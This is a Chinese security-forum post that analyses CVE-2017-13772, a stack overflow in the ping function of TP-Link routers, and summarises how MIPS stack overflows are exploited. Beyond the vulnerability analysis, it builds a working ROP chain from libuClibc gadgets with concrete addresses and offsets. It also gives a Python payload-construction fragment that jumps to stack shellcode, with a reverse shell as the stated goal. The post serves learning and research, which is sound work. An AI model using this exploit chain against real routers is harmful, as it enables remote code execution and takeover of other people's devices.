首页
社区
课程
招聘
[原创]CVE-2017-13772分析及mips栈溢出利用总结
2019-4-8 17:44 10272

[原创]CVE-2017-13772分析及mips栈溢出利用总结

2019-4-8 17:44
10272

1.前言

本文将分析CVE-2017-13772,并总结mips栈溢出利用的一般思路。

 

阅读之前需要先了解mips汇编相关知识。

 

在阅读实践->文章链接<- 这篇文章,并尝试回溯该文作者的思路,我学到了很多东西。

2.CVE-2017-13772漏洞成因

CVE-2017-13772是tp-link的栈溢出漏洞,如果ping功能处输入过长的ip地址会触发漏洞。一般而言,ping功能处我们一般是尝试命令注入,tp-link厂商在字符串过滤方面做得不错,一些特殊字符输入无效,所以这里只能挖掘溢出型漏洞。

 

IDA搜索定位字符串

 

loc_453CE8:
la      $t9, httpGetEnv
addiu   $a1, (aPingAddr - 0x570000)  # "ping_addr"
jalr    $t9 ; httpGetEnv #http服务器通过httpGetEnv(ping_addr)获取ping_addr字段的值
move    $a0, $s5
lw      $gp, 0x70+var_58($sp)
la      $a1, aDotype     # "doType"
la      $t9, httpGetEnv
move    $a0, $s5
jalr    $t9 ; httpGetEnv   
move    $s6, $v0       #httpGetEnv(ping_addr)返回值在v0,在上面一句执行之前,会保存在s6
lw      $gp, 0x70+var_58($sp)
la      $a1, aIsnew      # "isNew"
la      $t9, httpGetEnv
move    $a0, $s5
jalr    $t9 ; httpGetEnv
move    $s3, $v0
lw      $gp, 0x70+var_58($sp)
beqz    $s6, loc_454640
move    $s0, $v0

接着跟踪s6寄存器,单击一直往下看,直到这里才发现对s6的调用 #ipAddrDispose($s6)

la      $t9, httpGetEnv
la      $a1, aTrhops     # "trHops"
jalr    $t9 ; httpGetEnv
move    $a0, $s5
lw      $gp, 0x70+var_58($sp)
nop
la      $t9, atoi
nop
jalr    $t9 ; atoi
move    $a0, $v0
lw      $gp, 0x70+var_58($sp)
move    $a0, $s6
la      $t9, ipAddrDispose   #ipAddrDispose($s6)
nop
jalr    $t9 ; ipAddrDispose
move    $s1, $v0
lw      $gp, 0x70+var_58($sp)
beqz    $v0, loc_454280
move    $v1, $v0

跟进ipAddrDispose

 

接下来分析ipAddrDispose
图片描述
图片描述
图片描述
图片描述
图片描述

 

ipAddrDispose中发生栈溢出的部分反汇编大致如下

void ipAddrDispose(char * pingaddr):

{
    char pingaddr_tmp[0x33] = {0};

    int len = strlen(pingaddr);
    memset(pingaddr_tmp,0, 0x33);
    int i=0,j=0;
    for(; i<len;i++)
    {
        if(pingaddr[i]!=' ')
        {
            pingaddr_tmp[j]=pingaddr[i]   // 是这里发生栈溢出
            j++;
        }
    }
    strcpy(pingaddr, pingaddr_tmp);//这里只是拷贝回去除空格的字符串到pingaddr
    .........
}

从函数一开始分析可得栈的结构如下:

 

图片描述

 

由栈的结构可知我们最后能够控制 s0 s1 ra,并且可以知道覆盖的偏移,pingaddr='A'(0xAC-0xC)+ s0+s1+ra,
pingaddr='A'
0xA0+ s0+s1+ra,。

3.CVE-2017-13772漏洞利用

3.1 mips漏洞利用流程

mips漏洞利用首先需要sleep(nS)更新codecache,然后才能正确执行栈上的代码

 

如果想运行反向shell,大致可以思考出这样的流程:

 

设置a0=1,跳转到sleep函数

 

获取栈的地址,跳转到栈上执行代码。

3.2 mips跳转

在mips中,跳转的方式有:

 

1.设置寄存器t9,跳转到寄存器t9。

 

move    $t9, $s0
jalr    $t9 ;

2.在执行完函数func之前,把要跳转的地址address保存在ra寄存器,执行完函数func后可跳转。

 

move    $t9, $s0             ;函数f()
lw      $ra, ``0x20``+``var_4($sp)  ``#nextcall=address
lw      $s0, ``0x20``+``var_8($sp)  
li      $a0, ``2
li      $a1, ``1
move    $a2, $zero
jr      $t9 ;                ;执行完f()之后,跳转到address
addiu   $sp, ``0x20

3.3 利用

在libuClibc-0.9.30.so中寻找部件

#0.第一步覆盖寄存器s0 s1 ra ,s0设置为sleepaddr的地址,ra设置为addr0(0x2AB2E97C)
#1.跳转到addr0(0x2AB2E97C)执行
move    $t9, $s0              #设置t9为sleepaddr
lw      $ra, ``0x20``+``var_4($sp)  #从栈中取数据,设置ra=addr1
lw      $s0, ``0x20``+``var_8($sp)  #从栈中取数据,设置s0=addr2
li      $a0, ``2 #设置sleep参数为2
li      $a1, ``1
move    $a2, $zero
jr      $t9 ; #跳转执行sleep(2s), 返回时跳转到addr1
addiu   $sp, ``0x20
#2. addr1
addiu   $s2, $sp, ``0x198``+``var_180   #s2指向栈上
move    $a2, $v1
move    $t9, $s0   #t9=s0
jalr    $t9 ;      #跳转到addr2
#3. addr2
move    $t9, $s2   #跳转到栈上执行
jalr    $t9 ;

evil_pingaddr =“A”*160 +sleep_func_addr+"AAAA"+addr0+  
    “B”*0x18+addr2+addr1+nop*0x20+reverseshell_shellcode

手头没有设备验证,但是应该没有大问题。

3.4 如何寻找这些部件,思路是什么?

这里还原我学习->链接<- 的过程,来看看作者构造的思路

 

首先,我们自己需要明白:0.数据来自栈;1.我们第一步能控制那些寄存器;2.最终目标为何;3.每次构造的时候要能控制下一步跳转

 

0.数据来自栈,也就是之后的操作的数据来源是栈,就是跳转地址,参数一类的

 

1.第一步能控制那些寄存器:前面通过对溢出函数汇编的分析,可以知道能够控制s0,s1,ra,。

 

2.最终目标为何?sleep(nS)-> reverseshell,关于sleep,请看文章http://xdxd.love/2016/12/09/%E4%B8%80%E4%B8%AAmips%E6%A0%88%E6%BA%A2%E5%87%BA%E5%88%A9%E7%94%A8/

 

3.每次构造的时候要能控制下一步跳转:前面提到了,设置t9或ra

3.4.1 mipsrop工具基本操作

安装

下载mipsrop.py,放到C:\Program Files (x86)\IDA 6.8\plugins
https://github.com/devttys0/ida/tree/master/plugins/mipsrop

 

打开一个mips程序,打开插件

 

图片描述

 

####

mipsrop.help()

查看哪些命令可用

mipsrop.find(instruction_string)

#可以找很多自定义的指令

    Locates all potential ROP gadgets that contain the specified instruction.

    @instruction_string - The instruction you need executed. This can be either a:

                o Full instruction    - "li $a0, 1"
                o Partial instruction - "li $a0"
                o Regex instruction   - "li $a0, .*"

mipsrop.system()

#用于执行system()函数

    Prints a list of gadgets that may be used to call system().

mipsrop.doubles()

如下:如果你能控制多个寄存器s0 s1 s2 s3。。。,需要多次call(没有用过,根据打印结果大致推出其作用),可以用这个。这里都是jal 或者 jalr,类似于

 

x86中的call(会保存下一条命令的地址到ra)(jr类似于jmp)。

 

LOAD:000402D0 move $t9, $s0
LOAD:000402D4 jalr $t9 ; strlen
LOAD:000402D8 lw $a0, 0x4C0+var_400($fp)
LOAD:000402DC lw $a1, 0x4C0+var_400($fp)
LOAD:000402E0 addiu $a2, $v0, 1
LOAD:000402E4 move $t9, $s1
LOAD:000402E8 jalr $t9 ; write
LOAD:000402EC move $a0, $s3
LOAD:000402F0 move $t9, $s0
LOAD:000402F4 jalr $t9 ; strlen

    Prints a list of all "double jump" gadgets (useful for function calls).

mipsrop.stackfinders()

#将栈的地址放置到寄存器中,之后可以跑到栈上运行

    Prints a list of all gadgets that put a stack address into a register.

mipsrop.tails()

#尾部的指令,可以存储栈上的数据到ra 等寄存器,扩充可控的寄存器,用于后续的跳转与设置参数

 

因为在mips函数结尾,其汇编都是这种:

 

loc_42224:
lw $ra, 0x30+var_4($sp)
lw $s4, 0x30+var_8($sp)
lw $s3, 0x30+var_C($sp)
lw $s2, 0x30+var_10($sp)
lw $s1, 0x30+var_14($sp)
lw $s0, 0x30+var_18($sp)
jr $t9
addiu $sp, 0x30

    Prints a lits of all tail call gadgets (useful for function calls).

mipsrop.set_base()

#比如你在libuClibc-0.9.30.so中找部件,就设置这个so在主程序中的加载基址,这样最后写利用就方便一些。关于如何找加载地址,可以硬件ttl连上去(有的没法到shell),可以改固件,可以用其他漏洞登陆进去,也可以用qemu system模式运行主程序(只要跑起来就够了)。命令是cat /proc/$pid/maps.

    Set base address used for display

mipsrop.summary()

Prints a summary of your currently marked ROP gadgets, in alphabetical order by the marked name.
To mark a location as a ROP gadget, simply mark the position in IDA (Alt+M) with any name that starts with "ROP".

mipsrop小工具为mips漏洞给利用提供了特定的功能,只要之前学习了mips汇编和mips函数调用的基本流程,就很容易理解每个部件的功能

3.4.2 思路分析

我们在libuClibc-0.9.30.so找部件,其加载基址是0x2aae2000,执行命令Python>mipsrop.set_base(0x2aae2000)

我们能控制s0,s1,ra。

 

首先目标是执行sleep:1.设置参数 2.跳转到sleep执行

 

mipsrop.find("li $a0, 1"),当然也可以mipsrop.find("li $a0, .*")

 

如下图,

 

Python>mipsrop.find("li $a0, 1")

 

| Base + Offset = Address | Action | Control Jump |

 

| 0x2AAE2000 + 0x00029244 = 0x2AB0B244 | li $a0,1 | jalr $s4 |
| 0x2AAE2000 + 0x00055C60 = 0x2AB37C60 | li $a0,1 | jalr $s1 |
| 0x2AAE2000 + 0x000202D0 = 0x2AB022D0 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003C140 = 0x2AB1E140 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003C1F8 = 0x2AB1E1F8 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003CE70 = 0x2AB1EE70 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003CF94 = 0x2AB1EF94 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003D034 = 0x2AB1F034 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003D57C = 0x2AB1F57C | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003D62C = 0x2AB1F62C | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003F1A4 = 0x2AB211A4 | li $a0,1 | jr 0x58+var_4($sp) |

 

接下来考虑下一步跳转,由于我们可以控制s1,所以看

 

| 0x2AAE2000 + 0x00055C60 = 0x2AB37C60 | li $a0,1 | jalr $s1 |

Python>mipsrop.find("li $a0, 1")
-------------------------------------------------------------------------------------------------------------------------------------------
|  Base       + Offset     =  Address       |  Action                                              |  Control Jump                          |
-------------------------------------------------------------------------------------------------------------------------------------------
|  0x2AAE2000 + 0x00029244 = 0x2AB0B244     |  li $a0,1                                            |  jalr  $s4                             |
|  0x2AAE2000 + 0x00055C60 = 0x2AB37C60     |  li $a0,1                                            |  jalr  $s1                             |
|  0x2AAE2000 + 0x000202D0 = 0x2AB022D0     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003C140 = 0x2AB1E140     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003C1F8 = 0x2AB1E1F8     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003CE70 = 0x2AB1EE70     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003CF94 = 0x2AB1EF94     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003D034 = 0x2AB1F034     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003D57C = 0x2AB1F57C     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003D62C = 0x2AB1F62C     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003F1A4 = 0x2AB211A4     |  li $a0,1                                            |  jr    0x58+var_4($sp)                 |

IDA脚本区域 点击offset 0x00055C60,IDA就可以跳转到指定区域

LOAD:00055C60                 li      $a0, 1
LOAD:00055C64                 move    $t9, $s1
LOAD:00055C68                 jalr    $t9 ;

如果ra设置为0x00055C60+0x2AAE2000 ,s1一开始直接设置为sleep,就能执行sleep(1)了,当然,没有后续。

 

如果能够在执行sleep之前设置ra,就可以在执行完sleep跳转到地址ra,所以现在需要在第一步跳转之后设置ra,然后执行sleep(nS).

 

从栈设置寄存器,使用mipsrop.tails()来查找

 

作者选择是loc_35840,这一块有点绕,一开始把s1保存到t9,而s1当前指向的就是loc_35840,所以之后还会再跳转一次到loc_35840。在第一次跳转的过程中通过栈设置s1,进而使第二次跳到我们想要的位置 。

loc_35840:
move    $t9, $s1
lw      $ra, 0x28+var_4($sp)
lw      $s1, 0x28+var_8($sp)
lw      $s0, 0x28+var_C($sp)
addiu   $a0, 0xC
jr      $t9
addiu   $sp, 0x28
 # End of function sub_357E0

过程是:一开始$s1 =loc_35840,然后执行两次,

move    $t9, $s1                  
lw      $ra, 0x28+var_4($sp)     
lw      $s1, 0x28+var_8($sp)    #设置s1=newaddr=sleep
lw      $s0, 0x28+var_C($sp)
addiu   $a0, 0xC
jr      $t9
addiu   $sp, 0x28               #sp+=0x28
move    $t9, $s1                #t9=newaddr=sleep
lw      $ra, 0x28+var_4($sp)    #设置ra
lw      $s1, 0x28+var_8($sp)  
lw      $s0, 0x28+var_C($sp)   
addiu   $a0, 0xC
jr      $t9                     #跳转到sleep,这里是jr,所以在执行完sleep之后会返回到ra
addiu   $sp, 0x28               #sleep之前sp+=0x28

从一开始溢出跳转到执行完sleep跳转的过程:(注意其中sp寄存器的变化)

#一开始的溢出
lw      $ra, 0xE0+var_4($sp)
lw      $s1, 0xE0+var_8($sp)
lw      $s0, 0xE0+var_C($sp)
jr      $ra
addiu   $sp, 0xE0

#第一次跳转
li      $a0, 1
move    $t9, $s1
jalr    $t9 ;

#执行sleep(a0),并跳转到新的地址
move    $t9, $s1                  
lw      $ra, 0x28+var_4($sp)     
lw      $s1, 0x28+var_8($sp)    #设置s1=newaddr=sleep
lw      $s0, 0x28+var_C($sp)
addiu   $a0, 0xC
jr      $t9
addiu   $sp, 0x28               #sp+=0x28
move    $t9, $s1                #t9=newaddr=sleep
lw      $ra, 0x28+var_4($sp)    #设置ra
lw      $s1, 0x28+var_8($sp)  
lw      $s0, 0x28+var_C($sp)   
addiu   $a0, 0xC
jr      $t9                     #跳转到sleep,这里是jr,所以在执行完sleep之后会返回到ra
addiu   $sp, 0x28               #sleep之前sp+=0x28

ping_addr=0xA0‘A’+setS0+setS1+SetRA+0x20'A'+sleepaddr+0x28*'A'+NextJUMP(RA)

 

最后sleep的参数也不是1了,整个利用存在改进的余地。

 

到此,就执行完sleep并准备跳转到新的地址NextJUMP(RA)了,此时可控的有ra s1 s0.

 

执行完sleep(nS),并且可以控制接下来的跳转,当前这一步目标达成。

 

接下来目标是跳转到栈上执行

 

可以想到,首先需要将栈上的地址存储到寄存器,然后跳转到寄存器执行shellcode

 

要用到mipsrop.stackfinders()

 

文章作者选用的是0x000164C0 ,因为可以设置s2指向栈地址,s0可控,s0可控跳转也就可控

 

| 0x2AAE2000 + 0x000164C0 = 0x2AAF84C0 | addiu $s2,$sp,0x198+var_180 | jalr $s0

addiu   $s2, $sp, 0x198+var_180
move    $a2, $v1
move    $t9, $s0
jalr    $t9 ;

将s2指向了栈地址,所以接下来Python>mipsrop.find("move $t9,$s2")

 

-------------------------------------------------------------------------------------------------------------------------------------------

 

| Base + Offset = Address | Action | Control Jump |

 

-------------------------------------------------------------------------------------------------------------------------------------------

 

| 0x2AAE2000 + 0x000118A4 = 0x2AAF38A4 | move $t9,$s2 | jalr $s2 |

 

| 0x2AAE2000 + 0x00011E84 = 0x2AAF3E84 | move $t9,$s2 | jalr $s2 |

 

| 0x2AAE2000 + 0x0001E910 = 0x2AB00910 | move $t9,$s2 | jalr $s2 |

 

| 0x2AAE2000 + 0x0001E93C = 0x2AB0093C | move $t9,$s2 | jalr $s2 |

 

| 0x2AAE2000 + 0x0001E9B8 = 0x2AB009B8 | move $t9,$s2 | jalr $s2 |

 

| 0x2AAE2000 + 0x0001E9E0 = 0x2AB009E0 | move $t9,$s2 | jalr $s2 |

 

| 0x2AAE2000 + 0x0001EA08 = 0x2AB00A08 | move $t9,$s2 | jalr $s2 |

 

| 0x2AAE2000 + 0x0001EA30 = 0x2AB00A30 | move $t9,$s2 | jalr $s2 |

 

| 0x2AAE2000 + 0x0001EA58 = 0x2AB00A58 | move $t9,$s2 | jalr $s2 |。。。。

 

最后结果,其中sp的变化需要自己细细体会。

 

nop = “\x22\x51\x44\x44”
gadg_1 = “\x2A\xB3\x7C\x60”
gadg_2 = “\x2A\xB1\x78\x40”
sleep_addr = “\x2a\xb3\x50\x90”
stack_gadg = “\x2A\xAF\x84\xC0”
call_code = “\x2A\xB2\xDC\xF0″

 

def first_exploit(url, auth):

 rop = “A”*164 + gadg_2  + gadg_1 + “B”*0x20 + sleep_addr
rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode

相比于我的可能比较复杂,但是思路其实是清晰的符合逻辑的,我的是找到了一些好用的部件才显得比较简洁。

4.总结

编写mips利用时,应该明白可控的有哪些,目标是什么,如何衔接每一步,结合mips架构自身的特点来构造整个利用,寻找部件可以多找找来个取巧,也可以缺什么补什么。行文匆促,如果错误还请指正。


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
点赞8
打赏
分享
打赏 + 2.00雪花
打赏次数 1 雪花 + 2.00
 
赞赏  Editor   +2.00 2019/04/09 精品文章~
最新回复 (4)
雪    币: 198
活跃值: (10)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
driverxdw 2019-4-8 22:43
2
0
学习了
雪    币: 11716
活跃值: (133)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
junkboy 2019-4-9 08:08
3
0
注释好详细
雪    币: 18867
活跃值: (60313)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2019-4-9 09:16
4
0
厉害
雪    币: 1
活跃值: (158)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ShadowMourne 2019-4-25 09:26
5
0
给大佬点个赞
游客
登录 | 注册 方可回帖
返回